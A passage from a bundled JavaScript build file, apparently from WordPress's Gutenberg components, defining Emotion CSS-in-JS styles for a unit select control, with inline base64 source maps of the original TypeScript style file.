FJhZGl1czogMCwgYm9yZGVyQm90dG9tTGVmdFJhZGl1czogMCB9ICkoKSB9XG5cblx0XHRcdCY6bm90KDpkaXNhYmxlZCk6aG92ZXIge1xuXHRcdFx0XHRiYWNrZ3JvdW5kLWNvbG9yOiAkeyBDT0xPUlMuZ3JheVsgMTAwIF0gfTtcblx0XHRcdH1cblxuXHRcdFx0Jjpmb2N1cyB7XG5cdFx0XHRcdGJvcmRlcjogMXB4IHNvbGlkICR7IENPTE9SUy51aS5ib3JkZXJGb2N1cyB9O1xuXHRcdFx0XHRib3gtc2hhZG93OiBpbnNldCAwIDAgMFxuXHRcdFx0XHRcdCR7IENPTkZJRy5ib3JkZXJXaWR0aCArICcgJyArIENPTE9SUy51aS5ib3JkZXJGb2N1cyB9O1xuXHRcdFx0XHRvdXRsaW5lLW9mZnNldDogMDtcblx0XHRcdFx0b3V0bGluZTogMnB4IHNvbGlkIHRyYW5zcGFyZW50O1xuXHRcdFx0XHR6LWluZGV4OiAxO1xuXHRcdFx0fVxuXHRcdGAsXG5cdFx0ZGVmYXVsdDogY3NzYFxuXHRcdFx0ZGlzcGxheTogZmxleDtcblx0XHRcdGp1c3RpZnktY29udGVudDogY2VudGVyO1xuXHRcdFx0YWxpZ24taXRlbXM6IGNlbnRlcjtcblxuXHRcdFx0Jjp3aGVyZSggOm5vdCggOmRpc2FibGVkICkgKTpob3ZlciB7XG5cdFx0XHRcdGJveC1zaGFkb3c6IDAgMCAwXG5cdFx0XHRcdFx0JHsgQ09ORklHLmJvcmRlcldpZHRoICsgJyAnICsgQ09MT1JTLnVpLmJvcmRlckZvY3VzIH07XG5cdFx0XHRcdG91dGxpbmU6ICR7IENPTkZJRy5ib3JkZXJXaWR0aCB9IHNvbGlkIHRyYW5zcGFyZW50OyAvLyBGb3IgSGlnaCBDb250cmFzdCBNb2RlXG5cdFx0XHR9XG5cblx0XHRcdCY6Zm9jdXMge1xuXHRcdFx0XHRib3gtc2hhZG93OiAwIDAgMFxuXHRcdFx0XHRcdCR7IENPTkZJRy5ib3JkZXJXaWR0aEZvY3VzICsgJyAnICsgQ09MT1JTLnVpLmJvcmRlckZvY3VzIH07XG5cdFx0XHRcdG91dGxpbmU6ICR7IENPTkZJRy5ib3JkZXJXaWR0aEZvY3VzIH0gc29saWQgdHJhbnNwYXJlbnQ7IC8vIEZvciBIaWdoIENvbnRyYXN0IE1vZGVcblx0XHRcdH1cblx0XHRgLFxuXHR9O1xuXG5cdHJldHVybiBzaXplc1sgc2VsZWN0U2l6ZSBdO1xufTtcblxuZXhwb3J0IGNvbnN0IFVuaXRTZWxlY3QgPSBzdHlsZWQuc2VsZWN0PCBTZWxlY3RQcm9wcyA+YFxuXHQvLyBUaGUgJiYmIGNvdW50ZXJhY3RzIDxzZWxlY3Q+IHN0eWxlcyBpbiBXUCBmb3Jtcy5jc3Ncblx0JiYmIHtcblx0XHRhcHBlYXJhbmNlOiBub25lO1xuXHRcdGJhY2tncm91bmQ6IHRyYW5zcGFyZW50O1xuXHRcdGJvcmRlci1yYWRpdXM6ICR7IENPTkZJRy5yYWRpdXNYU21hbGwgfTtcblx0XHRib3JkZXI6IG5vbmU7XG5cdFx0ZGlzcGxheTogYmxvY2s7XG5cdFx0b3V0bGluZTogbm9uZTtcblx0XHQvKiBSZW1vdmluZyBtYXJnaW4gZW5zdXJlcyBmb2N1cyBzdHlsZXMgbmVhdGx5IG92ZXJsYXkgdGhlIHdyYXBwZXIuICovXG5cdFx0bWFyZ2luOiAwO1xuXHRcdG1pbi1oZWlnaHQ6IGF1dG87XG5cdFx0Zm9udC1mYW1pbHk6IGluaGVyaXQ7XG5cblx0XHQmOm5vdCggOmRpc2FibGVkICkge1xuXHRcdFx0Y3Vyc29yOiBwb2ludGVyO1xuXHRcdH1cblxuXHRcdCR7IGJhc2VVbml0TGFiZWxTdHlsZXMgfTtcblx0XHQkeyB1bml0U2VsZWN0U2l6ZXMgfTtcblx0fVxuYDtcbiJdfQ== */"));
32743 var unitSelectSizes = ({
32744 selectSize = "default"
32745 }) => {
32746 const sizes = {
32747 small: /* @__PURE__ */ css("height:100%;border:1px solid transparent;transition:box-shadow 0.1s linear,border 0.1s linear;", rtl({
32748 borderTopLeftRadius: 0,
32749 borderBottomLeftRadius: 0
32750 })(), " &:not(:disabled):hover{background-color:", COLORS.gray[100], ";}&:focus{border:1px solid ", COLORS.ui.borderFocus, ";box-shadow:inset 0 0 0 ", config_values_default.borderWidth + " " + COLORS.ui.borderFocus, ";outline-offset:0;outline:2px solid transparent;z-index:1;}" + (false ? "" : ";label:small;"), false ? "" : "/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbInVuaXQtY29udHJvbC1zdHlsZXMudHMiXSwibmFtZXMiOltdLCJtYXBwaW5ncyI6IkFBeUZZIiwiZmlsZSI6InVuaXQtY29udHJvbC1zdHlsZXMudHMiLCJzb3VyY2VzQ29udGVudCI6WyIvKipcbiAqIEV4dGVybmFsIGRlcGVuZGVuY2llc1xuICovXG5pbXBvcnQgeyBjc3MgfSBmcm9tICdAZW1vdGlvbi9yZWFjdCc7XG5pbXBvcnQgc3R5bGVkIGZyb20gJ0BlbW90aW9uL3N0eWxlZCc7XG4vKipcbiAqIEludGVybmFsIGRlcGVuZGVuY2llc1xuICovXG5pbXBvcnQgeyBDT0xPUlMsIENPTkZJRywgcnRsIH0gZnJvbSAnLi4vLi4vdXRpbHMnO1xuaW1wb3J0IE51bWJlckNvbnRyb2wgZnJvbSAnLi4vLi4vbnVtYmVyLWNvbnRyb2wnO1xuaW1wb3J0IHsgQmFja2Ryb3BVSSB9IGZyb20gJy4uLy4uL2lucHV0LWNvbnRyb2wvc3R5bGVzL2lucHV0LWNvbnRyb2wtc3R5bGVzJztcbmltcG9ydCB0eXBlIHsgU2VsZWN0U2l6ZSB9IGZyb20gJy4uL3R5cGVzJztcbmltcG9ydCB7IHNwYWNlIH0gZnJvbSAnLi4vLi4vdXRpbHMvc3BhY2UnO1xuXG4vLyBVc2luZyBgc2VsZWN0U2l6ZWAgaW5zdGVhZCBvZiBgc2l6ZWAgdG8gYXZvaWQgYSB0eXBlIGNvbmZsaWN0IHdpdGggdGhlXG4vLyBgc2l6ZWAgSFRNTCBhdHRyaWJ1dGUgb2YgdGhlIGBzZWxlY3RgIGVsZW1lbnQuXG50eXBlIFNlbGVjdFByb3BzID0ge1xuXHRzZWxlY3RTaXplOiBTZWxlY3RTaXplO1xufTtcblxuLy8gVE9ETzogUmVzb2x2ZSBuZWVkIHRvIHVzZSAmJiYgdG8gaW5jcmVhc2Ugc3BlY2lmaWNpdHlcbi8vIGh0dHBzOi8vZ2l0aHViLmNvbS9Xb3JkUHJlc3MvZ3V0ZW5iZXJnL2lzc3Vlcy8xODQ4M1xuXG5leHBvcnQgY29uc3QgVmFsdWVJbnB1dCA9IHN0eWxlZCggTnVtYmVyQ29udHJvbCApYFxuXHQmJiYge1xuXHRcdGlucHV0IHtcblx0XHRcdGRpc3BsYXk6IGJsb2NrO1xuXHRcdFx0d2lkdGg6IDEwMCU7XG5cdFx0fVxuXG5cdFx0JHsgQmFja2Ryb3BVSSB9IHtcblx0XHRcdHRyYW5zaXRpb246IGJveC1zaGFkb3cgMC4xcyBsaW5lYXI7XG5cdFx0fVxuXHR9XG5gO1xuXG5jb25zdCBiYXNlVW5pdExhYmVsU3R5bGVzID0gKCB7IHNlbGVjdFNpemUgfTogU2VsZWN0UHJvcHMgKSA9PiB7XG5cdGNvbnN0IHNpemVzID0ge1xuXHRcdHNtYWxsOiBjc3NgXG5cdFx0XHRib3gtc2l6aW5nOiBib3JkZXItYm94O1xuXHRcdFx0cGFkZGluZzogMnB4IDFweDtcblx0XHRcdHdpZHRoOiAyMHB4O1xuXHRcdFx0Zm9udC1zaXplOiA4cHg7XG5cdFx0XHRsaW5lLWhlaWdodDogMTtcblx0XHRcdGxldHRlci1zcGFjaW5nOiAtMC41cHg7XG5cdFx0XHR0ZXh0LXRyYW5zZm9ybTogdXBwZXJjYXNlO1xuXHRcdFx0dGV4dC1hbGlnbi1sYXN0OiBjZW50ZXI7XG5cblx0XHRcdCY6bm90KCA6ZGlzYWJsZWQgKSB7XG5cdFx0XHRcdGNvbG9yOiAkeyBDT0xPUlMuZ3JheVsgODAwIF0gfTtcblx0XHRcdH1cblx0XHRgLFxuXHRcdGRlZmF1bHQ6IGNzc2Bcblx0XHRcdGJveC1zaXppbmc6IGJvcmRlci1ib3g7XG5cdFx0XHRtaW4td2lkdGg6IDI0cHg7XG5cdFx0XHRtYXgtd2lkdGg6IDQ4cHg7XG5cdFx0XHRoZWlnaHQ6IDI0cHg7XG5cdFx0XHRtYXJnaW4taW5saW5lLWVuZDogJHsgc3BhY2UoIDIgKSB9O1xuXHRcdFx0cGFkZGluZzogJHsgc3BhY2UoIDEgKSB9O1xuXG5cdFx0XHRmb250LXNpemU6IDEzcHg7XG5cdFx0XHRsaW5lLWhlaWdodDogMTtcblx0XHRcdHRleHQtYWxpZ24tbGFzdDogY2VudGVyO1xuXHRcdFx0d2hpdGUtc3BhY2U6IG5vd3JhcDtcblx0XHRcdG92ZXJmbG93OiBoaWRkZW47XG5cdFx0XHR0ZXh0LW92ZXJmbG93OiBlbGxpcHNpcztcblx0XHRcdGZpZWxkLXNpemluZzogY29udGVudDtcblxuXHRcdFx0Jjpub3QoIDpkaXNhYmxlZCApIHtcblx0XHRcdFx0Y29sb3I6ICR7IENPTE9SUy50aGVtZS5hY2NlbnQgfTtcblx0XHRcdH1cblx0XHRgLFxuXHR9O1xuXG5cdHJldHVybiBzaXplc1sgc2VsZWN0U2l6ZSBdO1xufTtcblxuZXhwb3J0IGNvbnN0IFVuaXRMYWJlbCA9IHN0eWxlZC5kaXY8IFNlbGVjdFByb3BzID5gXG5cdCYmJiB7XG5cdFx0cG9pbnRlci1ldmVudHM6IG5vbmU7XG5cblx0XHQkeyBiYXNlVW5pdExhYmVsU3R5bGVzIH07XG5cblx0XHRjb2xvcjogJHsgQ09MT1JTLmdyYXlbIDkwMCBdIH07XG5cdH1cbmA7XG5cbmNvbnN0IHVuaXRTZWxlY3RTaXplcyA9ICggeyBzZWxlY3RTaXplID0gJ2RlZmF1bHQnIH06IFNlbGVjdFByb3BzICkgPT4ge1xuXHRjb25zdCBzaXplcyA9IHtcblx0XHRzbWFsbDogY3NzYFxuXHRcdFx0aGVpZ2h0OiAxMDAlO1xuXHRcdFx0Ym9yZGVyOiAxcHggc29saWQgdHJhbnNwYXJlbnQ7XG5cdFx0XHR0cmFuc2l0aW9uOlxuXHRcdFx0XHRib3gtc2hhZG93IDAuMXMgbGluZWFyLFxuXHRcdFx0XHRib3JkZXIgMC4xcyBsaW5lYXI7XG5cblx0XHRcdCR7IHJ0bCggeyBib3JkZXJUb3BMZWZ0UmFkaXVzOiAwLCBib3JkZXJCb3R0b21MZWZ0UmFkaXVzOiAwIH0gKSgpIH1cblxuXHRcdFx0Jjpub3QoOmRpc2FibGVkKTpob3ZlciB7XG5cdFx0XHRcdGJhY2tncm91bmQtY29sb3I6ICR7IENPTE9SUy5ncmF5WyAxMDAgXSB9O1xuXHRcdFx0fVxuXG5cdFx0XHQmOmZvY3VzIHtcblx0XHRcdFx0Ym9yZGVyOiAxcHggc29saWQgJHsgQ09MT1JTLnVpLmJvcmRlckZvY3VzIH07XG5cdFx0XHRcdGJveC1zaGFkb3c6IGluc2V0IDAgMCAwXG5cdFx0XHRcdFx0JHsgQ09ORklHLmJvcmRlcldpZHRoICsgJyAnICsgQ09MT1JTLnVpLmJvcmRlckZvY3VzIH07XG5cdFx0XHRcdG91dGxpbmUtb2Zmc2V0OiAwO1xuXHRcdFx0XHRvdXRsaW5lOiAycHggc29saWQgdHJhbnNwYXJlbnQ7XG5cdFx0XHRcdHotaW5kZXg6IDE7XG5cdFx0XHR9XG5cdFx0YCxcblx0XHRkZWZhdWx0OiBjc3NgXG5cdFx0XHRkaXNwbGF5OiBmbGV4O1xuXHRcdFx0anVzdGlmeS1jb250ZW50OiBjZW50ZXI7XG5cdFx0XHRhbGlnbi1pdGVtczogY2VudGVyO1xuXG5cdFx0XHQmOndoZXJlKCA6bm90KCA6ZGlzYWJsZWQgKSApOmhvdmVyIHtcblx0XHRcdFx0Ym94LXNoYWRvdzogMCAwIDBcblx0XHRcdFx0XHQkeyBDT05GSUcuYm9yZGVyV2lkdGggKyAnICcgKyBDT0xPUlMudWkuYm9yZGVyRm9jdXMgfTtcblx0XHRcdFx0b3V0bGluZTogJHsgQ09ORklHLmJvcmRlcldpZHRoIH0gc29saWQgdHJhbnNwYXJlbnQ7IC8vIEZvciBIaWdoIENvbnRyYXN0IE1vZGVcblx0XHRcdH1cblxuXHRcdFx0Jjpmb2N1cyB7XG5cdFx0XHRcdGJveC1zaGFkb3c6IDAgMCAwXG5cdFx0XHRcdFx0JHsgQ09ORklHLmJvcmRlcldpZHRoRm9jdXMgKyAnICcgKyBDT0xPUlMudWkuYm9yZGVyRm9jdXMgfTtcblx0XHRcdFx0b3V0bGluZTogJHsgQ09ORklHLmJvcmRlcldpZHRoRm9jdXMgfSBzb2xpZCB0cmFuc3BhcmVudDsgLy8gRm9yIEhpZ2ggQ29udHJhc3QgTW9kZVxuXHRcdFx0fVxuXHRcdGAsXG5cdH07XG5cblx0cmV0dXJuIHNpemVzWyBzZWxlY3RTaXplIF07XG59O1xuXG5leHBvcnQgY29uc3QgVW5pdFNlbGVjdCA9IHN0eWxlZC5zZWxlY3Q8IFNlbGVjdFByb3BzID5gXG5cdC8vIFRoZSAmJiYgY291bnRlcmFjdHMgPHNlbGVjdD4gc3R5bGVzIGluIFdQIGZvcm1zLmNzc1xuXHQmJiYge1xuXHRcdGFwcGVhcmFuY2U6IG5vbmU7XG5cdFx0YmFja2dyb3VuZDogdHJhbnNwYXJlbnQ7XG5cdFx0Ym9yZGVyLXJhZGl1czogJHsgQ09ORklHLnJhZGl1c1hTbWFsbCB9O1xuXHRcdGJvcmRlcjogbm9uZTtcblx0XHRkaXNwbGF5OiBibG9jaztcblx0XHRvdXRsaW5lOiBub25lO1xuXHRcdC8qIFJlbW92aW5nIG1hcmdpbiBlbnN1cmVzIGZvY3VzIHN0eWxlcyBuZWF0bHkgb3ZlcmxheSB0aGUgd3JhcHBlci4gKi9cblx0XHRtYXJnaW46IDA7XG5cdFx0bWluLWhlaWdodDogYXV0bztcblx0XHRmb250LWZhbWlseTogaW5oZXJpdDtcblxuXHRcdCY6bm90KCA6ZGlzYWJsZWQgKSB7XG5cdFx0XHRjdXJzb3I6IHBvaW50ZXI7XG5cdFx0fVxuXG5cdFx0JHsgYmFzZVVuaXRMYWJlbFN0eWxlcyB9O1xuXHRcdCR7IHVuaXRTZWxlY3RTaXplcyB9O1xuXHR9XG5gO1xuIl19 */"),
32751 default: /* @__PURE__ */ css("display:flex;justify-content:center;align-items:center;&:where( :not( :disabled ) ):hover{box-shadow:0 0 0 ", config_values_default.borderWidth + " " + COLORS.ui.borderFocus, ";outline:", config_values_default.borderWidth, " solid transparent;}&:focus{box-shadow:0 0 0 ", config_values_default.borderWidthFocus + " " + COLORS.ui.borderFocus, ";outline:", config_values_default.borderWidthFocus, " solid transparent;}" + (false ? "" : ";label:default;"), false ? "" : "/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbInVuaXQtY29udHJvbC1zdHlsZXMudHMiXSwibmFtZXMiOltdLCJtYXBwaW5ncyI6IkFBK0djIiwiZmlsZSI6InVuaXQtY29udHJvbC1zdHlsZXMudHMiLCJzb3VyY2VzQ29udGVudCI6WyIvKipcbiAqIEV4dGVybmFsIGRlcGVuZGVuY2llc1xuICovXG5pbXBvcnQgeyBjc3MgfSBmcm9tICdAZW1vdGlvbi9yZWFjdCc7XG5pbXBvcnQgc3R5bGVkIGZyb20gJ0BlbW90aW9uL3N0eWxlZCc7XG4vKipcbiAqIEludGVybmFsIGRlcGVuZGVuY2llc1xuICovXG5pbXBvcnQgeyBDT0xPUlMsIENPTkZJRywgcnRsIH0gZnJvbSAnLi4vLi4vdXRpbHMnO1xuaW1wb3J0IE51bWJlckNvbnRyb2wgZnJvbSAnLi4vLi4vbnVtYmVyLWNvbnRyb2wnO1xuaW1wb3J0IHsgQmFja2Ryb3BVSSB9IGZyb20gJy4uLy4uL2lucHV0LWNvbnRyb2wvc3R5bGVzL2lucHV0LWNvbnRyb2wtc3R5bGVzJztcbmltcG9ydCB0eXBlIHsgU2VsZWN0U2l6ZSB9IGZyb20gJy4uL3R5cGVzJztcbmltcG9ydCB7IHNwYWNlIH0gZnJvbSAnLi4vLi4vdXRpbHMvc3BhY2UnO1xuXG4vLyBVc2luZyBgc2VsZWN0U2l6ZWAgaW5zdGVhZCBvZiBgc2l6ZWAgdG8gYXZvaWQgYSB0eXBlIGNvbmZsaWN0IHdpdGggdGhlXG4vLyBgc2l6ZWAgSFRNTCBhdHRyaWJ1dGUgb2YgdGhlIGBzZWxlY3RgIGVsZW1lbnQuXG50eXBlIFNlbGVjdFByb3BzID0ge1xuXHRzZWxlY3RTaXplOiBTZWxlY3RTaXplO1xufTtcblxuLy8gVE9ETzogUmVzb2x2ZSBuZWVkIHRvIHVzZSAmJiYgdG8gaW5jcmVhc2Ugc3BlY2lmaWNpdHlcbi8vIGh0dHBzOi8vZ2l0aHViLmNvbS9Xb3JkUHJlc3MvZ3V0ZW5iZXJnL2lzc3Vlcy8xODQ4M1xuXG5leHBvcnQgY29uc3QgVmFsdWVJbnB1dCA9IHN0eWxlZCggTnVtYmVyQ29udHJvbCApYFxuXHQmJiYge1xuXHRcdGlucHV0IHtcblx0XHRcdGRpc3BsYXk6IGJsb2NrO1xuXHRcdFx0d2lkdGg6IDEwMCU7XG5cdFx0fVxuXG5cdFx0JHsgQmFja2Ryb3BVSSB9IHtcblx0XHRcdHRyYW5zaXRpb246IGJveC1zaGFkb3cgMC4xcyBsaW5lYXI7XG5cdFx0fVxuXHR9XG5gO1xuXG5jb25zdCBiYXNlVW5pdExhYmVsU3R5bGVzID0gKCB7IHNlbGVjdFNpemUgfTogU2VsZWN0UHJvcHMgKSA9PiB7XG5cdGNvbnN0IHNpemVzID0ge1xuXHRcdHNtYWxsOiBjc3NgXG5cdFx0XHRib3gtc2l6aW5nOiBib3JkZXItYm94O1xuXHRcdFx0cGFkZGluZzogMnB4IDFweDtcblx0XHRcdHdpZHRoOiAyMHB4O1xuXHRcdFx0Zm9udC1zaXplOiA4cHg7XG5cdFx0XHRsaW5lLWhlaWdodDogMTtcblx0XHRcdGxldHRlci1zcGFjaW5nOiAtMC41cHg7XG5cdFx0XHR0ZXh0LXRyYW5zZm9ybTogdXBwZXJjYXNlO1xuXHRcdFx0dGV4dC1hbGlnbi1sYXN0OiBjZW50ZXI7XG5cblx0XHRcdCY6bm90KCA6ZGlzYWJsZWQgKSB7XG5cdFx0XHRcdGNvbG9yOiAkeyBDT0xPUlMuZ3JheVsgODAwIF0gfTtcblx0XHRcdH1cblx0XHRgLFxuXHRcdGRlZmF1bHQ6IGNzc2Bcblx0XHRcdGJveC1zaXppbmc6IGJvcmRlci1ib3g7XG5cdFx0XHRtaW4td2lkdGg6IDI0cHg7XG5cdFx0XHRtYXgtd2lkdGg6IDQ4cHg7XG5cdFx0XHRoZWlnaHQ6IDI0cHg7XG5cdFx0XHRtYXJnaW4taW5saW5lLWVuZDogJHsgc3BhY2UoIDIgKSB9O1xuXHRcdFx0cGFkZGluZzogJHsgc3BhY2UoIDEgKSB9O1xuXG5cdFx0XHRmb250LXNpemU6IDEzcHg7XG5cdFx0XHRsaW5lLWhlaWdodDogMTtcblx0XHRcdHRleHQtYWxpZ24tbGFzdDogY2VudGVyO1xuXHRcdFx0d2hpdGUtc3BhY2U6IG5vd3JhcDtcblx0XHRcdG92ZXJmbG93OiBoaWRkZW47XG5cdFx0XHR0ZXh0LW92ZXJmbG93OiBlbGxpcHNpcztcblx0XHRcdGZpZWxkLXNpemluZzogY29udGVudDtcblxuXHRcdFx0Jjpub3QoIDpkaXNhYmxlZCApIHtcblx0XHRcdFx0Y29sb3I6ICR7IENPTE9SUy50aGVtZS5hY2NlbnQgfTtcblx0XHRcdH1cblx0XHRgLFxuXHR9O1xuXG5cdHJldHVybiBzaXplc1sgc2VsZWN0U2l6ZSBdO1xufTtcblxuZXhwb3J0IGNvbnN0IFVuaXRMYWJlbCA9IHN0eWxlZC5kaXY8IFNlbGVjdFByb3BzID5gXG5cdCYmJiB7XG5cdFx0cG9pbnRlci1ldmVudHM6IG5vbmU7XG5cblx0XHQkeyBiYXNlVW5pdExhYmVsU3R5bGVzIH07XG5cblx0XHRjb2xvcjogJHsgQ09MT1JTLmdyYXlbIDkwMCBdIH07XG5cdH1cbmA7XG5cbmNvbnN0IHVuaXRTZWxlY3RTaXplcyA9ICggeyBzZWxlY3RTaXplID0gJ2RlZmF1bHQnIH06IFNlbGVjdFByb3BzICkgPT4ge1xuXHRjb25zdCBzaXplcyA9IHtcblx0XHRzbWFsbDogY3NzYFxuXHRcdFx0aGVpZ2h0OiAxMDAlO1xuXHRcdFx0Ym9yZGVyOiAxcHggc29saWQgdHJhbnNwYXJlbnQ7XG5cdFx0XHR0cmFuc2l0aW9uOlxuXHRcdFx0XHRib3gtc2hhZG93IDAuMXMgbGluZWFyLFxuXHRcdFx0XHRib3JkZXIgMC4xcyBsaW5lYXI7XG5cblx0XHRcdCR7IHJ0bCggeyBib3JkZXJUb3BMZWZ0UmFkaXVzOiAwLCBib3JkZXJCb3R0b21MZWZ0UmFkaXVzOiAwIH0gKSgpIH1cblxuXHRcdFx0Jjpub3QoOmRpc2FibGVkKTpob3ZlciB7XG5cdFx0XHRcdGJhY2tncm91bmQtY29sb3I6ICR7IENPTE9SUy5ncmF5WyAxMDAgXSB9O1xuXHRcdFx0fVxuXG5cdFx0XHQmOmZvY3VzIHtcblx0XHRcdFx0Ym9yZGVyOiAxcHggc29saWQgJHsgQ09MT1JTLnVpLmJvcmRlckZvY3VzIH07XG5cdFx0XHRcdGJveC1zaGFkb3c6IGluc2V0IDAgMCAwXG5cdFx0XHRcdFx0JHsgQ09ORklHLmJvcmRlcldpZHRoICsgJyAnICsgQ09MT1JTLnVpLmJvcmRlckZvY3VzIH07XG5cdFx0XHRcdG91dGxpbmUtb2Zmc2V0OiAwO1xuXHRcdFx0XHRvdXRsaW5lOiAycHggc29saWQgdHJhbnNwYXJlbnQ7XG5cdFx0XHRcdHotaW5kZXg6IDE7XG5cdFx0XHR9XG5cdFx0YCxcblx0XHRkZWZhdWx0OiBjc3NgXG5cdFx0XHRkaXNwbGF5OiBmbGV4O1xuXHRcdFx0anVzdGlmeS1jb250ZW50OiBjZW50ZXI7XG5cdFx0XHRhbGlnbi1pdGVtczogY2VudGVyO1xuXG5cdFx0XHQmOndoZXJlKCA6bm90KCA6ZGlzYWJsZWQgKSApOmhvdmVyIHtcblx0XHRcdFx0Ym94LXNoYWRvdzogMCAwIDBcblx0XHRcdFx0XHQkeyBDT05GSUcuYm9yZGVyV2lkdGggKyAnICcgKyBDT0xPUlMudWkuYm9yZGVyRm9jdXMgfTtcblx0XHRcdFx0b3V0bGluZTogJHsgQ09ORklHLmJvcmRlcldpZHRoIH0gc29saWQgdHJhbnNwYXJlbnQ7IC8vIEZvciBIaWdoIENvbnRyYXN0IE1vZGVcblx0XHRcdH1cblxuXHRcdFx0Jjpmb2N1cyB7XG5cdFx0XHRcdGJveC1zaGFkb3c6IDAgMCAwXG5cdFx0XHRcdFx0JHsgQ09ORklHLmJvcmRlcldpZHRoRm9jdXMgKyAnICcgKyBDT0xPUlMudWkuYm9yZGVyRm9jdXMgfTtcblx0XHRcdFx0b3V0bGluZTogJHsgQ09ORklHLmJvcmRlcldpZHRoRm9jdXMgfSBzb2xpZCB0cmFuc3BhcmVudDsgLy8gRm9yIEhpZ2ggQ29udHJhc3QgTW9kZVxuXHRcdFx0fVxuXHRcdGAsXG5cdH07XG5cblx0cmV0dXJuIHNpemVzWyBzZWxlY3RTaXplIF07XG59O1xuXG5leHBvcnQgY29uc3QgVW5pdFNlbGVjdCA9IHN0eWxlZC5zZWxlY3Q8IFNlbGVjdFByb3BzID5gXG5cdC8vIFRoZSAmJiYgY291bnRlcmFjdHMgPHNlbGVjdD4gc3R5bGVzIGluIFdQIGZvcm1zLmNzc1xuXHQmJiYge1xuXHRcdGFwcGVhcmFuY2U6IG5vbmU7XG5cdFx0YmFja2dyb3VuZDogdHJhbnNwYXJlbnQ7XG5cdFx0Ym9yZGVyLXJhZGl1czogJHsgQ09ORklHLnJhZGl1c1hTbWFsbCB9O1xuXHRcdGJvcmRlcjogbm9uZTtcblx0XHRkaXNwbGF5OiBibG9jaztcblx0XHRvdXRsaW5lOiBub25lO1xuXHRcdC8qIFJlbW92aW5nIG1hcmdpbiBlbnN1cmVzIGZvY3VzIHN0eWxlcyBuZWF0bHkgb3ZlcmxheSB0aGUgd3JhcHBlci4gKi9cblx0XHRtYXJnaW46IDA7XG5cdFx0bWluLWhlaWdodDogYXV0bztcblx0XHRmb250LWZhbWlseTogaW5oZXJpdDtcblxuXHRcdCY6bm90KCA6ZGlzYWJsZWQgKSB7XG5cdFx0XHRjdXJzb3I6IHBvaW50ZXI7XG5cdFx0fVxuXG5cdFx0JHsgYmFzZVVuaXRMYWJlbFN0eWxlcyB9O1xuXHRcdCR7IHVuaXRTZWxlY3RTaXplcyB9O1xuXHR9XG5gO1xuIl19 */")
32752 };
32753 return sizes[selectSize];
32754 };
32755 var UnitSelect = /* @__PURE__ */ createStyled("select", false ? {
32756 target: "e1bagdl30"
32757 } : {
32758 target: "e1bagdl30",
32759 label: "UnitSelect"
32760 })("&&&{appearance:none;background:transparent;border-radius:", config_values_default.radiusXSmall, ";border:none;display:block;outline:none;margin:0;min-height:auto;font-family:inherit;", baseUnitLabelStyles, ";", unitSelectSizes, ";&:not( :disabled ){cursor:pointer;}}" + (false ? "" : "/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbInVuaXQtY29udHJvbC1zdHlsZXMudHMiXSwibmFtZXMiOltdLCJtYXBwaW5ncyI6IkFBcUlzRCIsImZpbGUiOiJ1bml0LWNvbnRyb2wtc3R5bGVzLnRzIiwic291cmNlc0NvbnRlbnQiOlsiLyoqXG4gKiBFeHRlcm5hbCBkZXBlbmRlbmNpZXNcbiAqL1xuaW1wb3J0IHsgY3NzIH0gZnJvbSAnQGVtb3Rpb24vcmVhY3QnO1xuaW1wb3J0IHN0eWxlZCBmcm9tICdAZW1vdGlvbi9zdHlsZWQnO1xuLyoqXG4gKiBJbnRlcm5hbCBkZXBlbmRlbmNpZXNcbiAqL1xuaW1wb3J0IHsgQ09MT1JTLCBDT05GSUcsIHJ0bCB9IGZyb20gJy4uLy4uL3V0aWxzJztcbmltcG9ydCBOdW1iZXJDb250cm9sIGZyb20gJy4uLy4uL251bWJlci1jb250cm9sJztcbmltcG9ydCB7IEJhY2tkcm9wVUkgfSBmcm9tICcuLi8uLi9pbnB1dC1jb250cm9sL3N0eWxlcy9pbnB1dC1jb250cm9sLXN0eWxlcyc7XG5pbXBvcnQgdHlwZSB7IFNlbGVjdFNpemUgfSBmcm9tICcuLi90eXBlcyc7XG5pbXBvcnQgeyBzcGFjZSB9IGZyb20gJy4uLy4uL3V0aWxzL3NwYWNlJztcblxuLy8gVXNpbmcgYHNlbGVjdFNpemVgIGluc3RlYWQgb2YgYHNpemVgIHRvIGF2b2lkIGEgdHlwZSBjb25mbGljdCB3aXRoIHRoZVxuLy8gYHNpemVgIEhUTUwgYXR0cmlidXRlIG9mIHRoZSBgc2VsZWN0YCBlbGVtZW50LlxudHlwZSBTZWxlY3RQcm9wcyA9IHtcblx0c2VsZWN0U2l6ZTogU2VsZWN0U2l6ZTtcbn07XG5cbi8vIFRPRE86IFJlc29sdmUgbmVlZCB0byB1c2UgJiYmIHRvIGluY3JlYXNlIHNwZWNpZmljaXR5XG4vLyBodHRwczovL2dpdGh1Yi5jb20vV29yZFByZXNzL2d1dGVuYmVyZy9pc3N1ZXMvMTg0ODNcblxuZXhwb3J0IGNvbnN0IFZhbHVlSW5wdXQgPSBzdHlsZWQoIE51bWJlckNvbnRyb2wgKWBcblx0JiYmIHtcblx0XHRpbnB1dCB7XG5cdFx0XHRkaXNwbGF5OiBibG9jaztcblx0XHRcdHdpZHRoOiAxMDAlO1xuXHRcdH1cblxuXHRcdCR7IEJhY2tkcm9wVUkgfSB7XG5cdFx0XHR0cmFuc2l0aW9uOiBib3gtc2hhZG93IDAuMXMgbGluZWFyO1xuXHRcdH1cblx0fVxuYDtcblxuY29uc3QgYmFzZVVuaXRMYWJlbFN0eWxlcyA9ICggeyBzZWxlY3RTaXplIH06IFNlbGVjdFByb3BzICkgPT4ge1xuXHRjb25zdCBzaXplcyA9IHtcblx0XHRzbWFsbDogY3NzYFxuXHRcdFx0Ym94LXNpemluZzogYm9yZGVyLWJveDtcblx0XHRcdHBhZGRpbmc6IDJweCAxcHg7XG5cdFx0XHR3aWR0aDogMjBweDtcblx0XHRcdGZvbnQtc2l6ZTogOHB4O1xuXHRcdFx0bGluZS1oZWlnaHQ6IDE7XG5cdFx0XHRsZXR0ZXItc3BhY2luZzogLTAuNXB4O1xuXHRcdFx0dGV4dC10cmFuc2Zvcm06IHVwcGVyY2FzZTtcblx0XHRcdHRleHQtYWxpZ24tbGFzdDogY2VudGVyO1xuXG5cdFx0XHQmOm5vdCggOmRpc2FibGVkICkge1xuXHRcdFx0XHRjb2xvcjogJHsgQ09MT1JTLmdyYXl